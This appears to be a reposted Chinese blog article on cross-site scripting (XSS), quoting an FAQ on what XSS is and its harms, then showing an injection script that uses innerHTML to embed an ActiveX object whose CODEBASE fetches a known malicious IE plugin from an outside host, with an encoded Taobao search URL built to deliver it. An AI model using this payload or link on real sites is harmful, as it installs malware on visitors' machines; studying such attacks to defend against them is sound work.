zoukankan      html  css  js  c++  java
  • 跨站点脚本攻击的防范(ZT)

    转帖自朋友的Blog:
    http://www.zhangsichu.com/blogview.asp?Content_Id=104

    跨站点脚本攻击在Web开发中是个非常敏感的安全问题。
    跨站点脚本攻击(XSS)FAQ 这篇文章 http://tech.idv2.com/2006/08/30/xss-faq/ 讲述了跨站点脚本攻击的常见情况。

    下面摘引自原文部分章节:

    ------------------------------------------------------------------------
    什么是跨站脚本攻击?
    跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含 HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的 session信息。有关攻击方法的详细情况将在下面阐述。

    XSS和CSS是什么意思?
    人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说 "我发现了一个XSS漏洞",显然他是在说跨站脚本攻击。
    跨站脚本攻击有什么危害?

    为了搜集用户信息,攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户(详见下文)。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告等。每天都有大量的XSS攻击的恶意代码出现。 Brett Moore的下面这篇文章详细地阐述了"拒绝服务攻击"以及用户仅仅阅读一篇文章就会受到的"自动攻击"。

    ------------------------------------------------------------------------

    在这篇文章中讲述了跨站点攻击窃取他人Cookie,伪装他人登录的细节。
    当前的跨站点脚本攻击已经发展到了一个非常妖魔化的地步,不再只局限于窃取他人的Cookie。更加恶毒的跨站点脚本攻击会让访问者中恶意插件,中木马。一般的跨站点脚本攻击会利用漏洞执行document.write。写入一段javascript,让浏览器执行。现在部分站点屏蔽了 document.write或者把用户可能注入的脚本放在一个display=none的Div中,让注入攻击失败。当前又发现了用innerHTML 的方式注入可见Div,实现跨站点脚本攻击的方式。

    跨站点脚本攻击+html注入嵌入恶意插件
    下面是利用淘宝网的脚本漏洞,编写的跨站点脚本攻击代码:

    注入代码的原型:

    <script type="text/javascript">
    window.onload = function(){
    document.getElementById("QuickLinks").innerHTML =
    "<object classid=clsid:56A7DC70-E102-4408-A34A-AE06FEF01586 CODEBASE=http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0></object>";
    }</script>



    http://iebar.t2t2.com/iebar.cab 这个恶意IE弹框插件是在《一段Script引发的"冤案"》中发现的恶意插件。由于没有找到一个合适的IE插件.cab文件做测试,所以拿这个来做跨站点脚本攻击嵌入恶意插件的测试。

    通过淘宝网Search时没有过滤用户输入,存在的脚本漏洞生成的link.

    http://search1.taobao.com/browse/0/t-95-----------------g,hrzwg4tjob2ca5dzobst2itumv4hil3kmf
    3gc43dojuxa5bchz3ws3ten53s433onrxwczbahuqgm5lomn2gs33ofauxwzdpmn2w2zlooqxgozluiv
    wgk3lfnz2ee6kjmquceulvnfrwwtdjnzvxgirjfzuw43tfojefitkmea6sair4n5rguzldoqqgg3dbonzwszb5
    e5rwy43jmq5dknsbg5cegnzqfvctcmbsfu2dimbyfvatgncbfvaukmbwizcummbrgu4dmjzainhuirkcifju
    kpjhnb2hi4b2f4xwszlcmfzc45bsoqzc4y3pnuxwszlcmfzc4y3bmirvmzlsonuw63r5gewdclbqfqycopr4f5
    xwe2tfmn2d4ir3pu6c643dojuxa5b6----------------40--commend-0-all-0.htm?at_topsearch=1



    由于链接过长在FF下显示会很难看,这里截断了链接。如果要访问这个链接,需要先把它黏贴到记事本里,去掉其中的回车,然后访问才可以看到注入效果。
    访问这个link可能会让您的机器中iebar这个恶意插件

    访问link后如下图(使用IE访问可以看到明显的效果):

  • 相关阅读:
    android studio快捷键大全
    HTML5规范尘埃落定,5个开发工具推荐
    javascript:设置URL参数的方法,适合多条件查询
    MyBatis 多表联合查询及优化
    js动态向页面中添加表格
    mysql装完电脑里面没mysql相关服务
    javascript 实现一个网页,然后计算出有多少剩余时间的倒计时程序
    xcode于Archive当产生安装包遇到ld: library not found for -lPods
    计算机网络 2. 应用层
    Android手游《》斗地主完整的源代码(支持单机和网络对战)
  • 原文地址:https://www.cnblogs.com/jameslif/p/2577178.html
Copyright © 2011-2022 走看看